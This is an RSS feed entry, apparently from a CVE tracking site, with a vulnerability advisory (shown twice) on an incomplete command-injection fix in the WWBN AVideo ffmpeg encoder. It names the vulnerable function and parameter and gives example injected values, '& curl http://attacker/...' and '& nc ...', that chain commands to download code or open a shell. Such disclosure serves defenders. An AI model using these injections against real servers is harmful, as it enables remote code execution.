https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 10 Oct 2026 12:57:20 +0000 https://cve.radiocsirt.org/vuln/cve-2026-55173 <p><strong>Affected:</strong> WWBN AVideo</p> <p>WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single &amp; ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace(&#39;&amp;&amp;&#39;, &#39;&#39;, ...), but did not account for the single &amp;. ffmpeg.json.php builds the command from _decryptString(getInput(&#39;codeToExecEncrypted&#39;)). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &amp;-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the &gt; strip, but command execution (e.g. &amp; curl http://attacker/..., &amp; nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.</p> <p><strong>Affected:</strong> WWBN AVideo</p> <p>WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single &amp; ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace(&#39;&amp;&amp;&#39;, &#39;&#39;, ...), but did not account for the single &amp;. ffmpeg.json.php builds the command from _decryptString(getInput(&#39;codeToExecEncrypted&#39;)). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &amp;-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the &gt; strip, but command execution (e.g. &amp; curl http://attacker/..., &amp; nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.</p> https://cve.radiocsirt.org/vuln/cve-2026-55173